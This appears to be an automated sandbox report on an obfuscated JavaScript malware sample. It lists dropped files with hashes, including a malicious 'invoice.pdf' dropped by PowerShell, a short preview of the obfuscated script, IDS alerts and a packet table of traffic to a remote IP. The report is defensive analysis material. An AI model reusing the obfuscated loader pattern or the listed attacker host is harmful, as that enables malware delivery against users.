Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\dff65e05-6dfa-4e94-b0fd-760dbad4dd30.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f1e78eed-ea0c-41eb-ac7c-33b97f648563.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18367), with CRLF line terminators
Entropy (8bit):	4.887292808467724
TrID:
File name:	295963673155714664.js
File size:	21'832 bytes
MD5:	1b3379a0ba1f161871935137ff204be8
SHA1:	72cb2279f2b7743d90a1108575d4a808b2325232
SHA256:	22b34cd446da9e32735e76639248dd736323241893dd987c68f5135ff2022897
SHA512:	9a453a4fd9881e4f60f06facc6a81d39a7ecd9d0f3d0ee3f8a9e07271bffea207b2ba33cf68a276535ec71de5691c759befbe2f5014febfd0d66093f249c4978
SSDEEP:	384:97G6KQ5QwExmX39dVHgpTE4e5ZNVOLqSJjREWP9kpSVF04+/jQgQXD14v5zD7xss:RG6Xqo2F0lQgQXD14vhD7xs8vx
TLSH:	6BA24046DE07C50FCFE844EAF9E32DA23151258EC69497BA9CC717C417D16229AC3CBA
File Content Preview:	function rixxucgcd(){hnzwz=[1031,3079,5127,4103,2055,3072];var fdmdqsoz=this[wkwxws+sepudmn+irasigvdr+veasrloa+ooqvvqr+xhyptc+ozlbqea+ejvluijwv](this[lucjm+vuqtn+rjgehwdhp+irasigvdr+jcdzewi+wkwxws+ejvluijwv][oqcffdt+irasigvdr+ooqvvqr+sepudmn+ejvluijwv+ooq

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:24:15.581370+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49779	193.143.1.205	80	TCP
2025-01-10T21:24:18.069679+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49795	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:24:14.727760077 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:14.732651949 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:14.735937119 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:14.742470980 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:14.747394085 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.581229925 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.581270933 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.581284046 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.581304073 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.581315994 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.581329107 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.581341028 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.581353903 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.581367016 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.581370115 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.581378937 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.581408978 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.581429958 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.638535976 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.638560057 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.638591051 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.638638020 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.679039001 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.698518991 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.698538065 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.698549986 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.698563099 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.698654890 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.698698044 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.698781967 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.698791981 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.698827028 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.698951960 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.698964119 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.698976994 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.698988914 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.698991060 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.699002028 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.699038029 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.699889898 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.699903011 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.699914932 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.699927092 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.699928045 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.699939013 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.699959040 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.699981928 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.700719118 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.700731039 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.700742960 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.700754881 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.700767994 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.700783968 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.728220940 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.755897045 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.755913973 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.755924940 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.755945921 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.755959034 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.756035089 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.756072044 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943157911 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943176031 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943228960 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943254948 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943268061 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943270922 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943279982 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943294048 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943310022 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943331957 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943351984 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943363905 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943388939 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943399906 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943403959 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943411112 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943420887 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943432093 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943438053 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943444014 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943447113 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943461895 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943476915 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943492889 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943497896 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943500996 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943507910 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943516016 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943525076 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943531036 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943532944 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943546057 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943581104 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943701029 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943713903 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943730116 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943734884 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943747997 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943759918 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943770885 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943772078 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943783045 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943794966 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943816900 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943818092 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943840981 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943845034 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943864107 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943871975 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943883896 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943888903 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943895102 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943906069 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943917990 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.943919897 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943943024 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.943994999 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.944008112 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.944017887 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.944029093 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.944030046 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.944052935 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.944078922 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.944091082 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.944103003 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.944112062 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.944116116 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.944127083 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.944132090 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.944139004 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.944149017 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.944161892 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.944181919 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.948620081 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.948637962 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.948649883 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.948669910 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.948695898 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.948703051 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.948755026 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.948767900 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.948774099 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.948780060 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.948786974 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.948796034 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.948808908 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.948821068 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.948856115 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.949536085 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.949549913 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.949568987 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.949580908 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.949587107 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.949594021 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.949613094 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.949615955 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.949646950 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.950318098 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.950320959 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.950324059 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.950335979 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.950354099 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.950366974 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.950381994 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.950401068 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.950401068 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.951069117 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.951109886 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.951128006 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.951131105 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.951143026 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.951164961 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.951179028 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.951190948 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.951201916 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.951234102 CET	49779	80	192.168.2.6	193.143.1.205
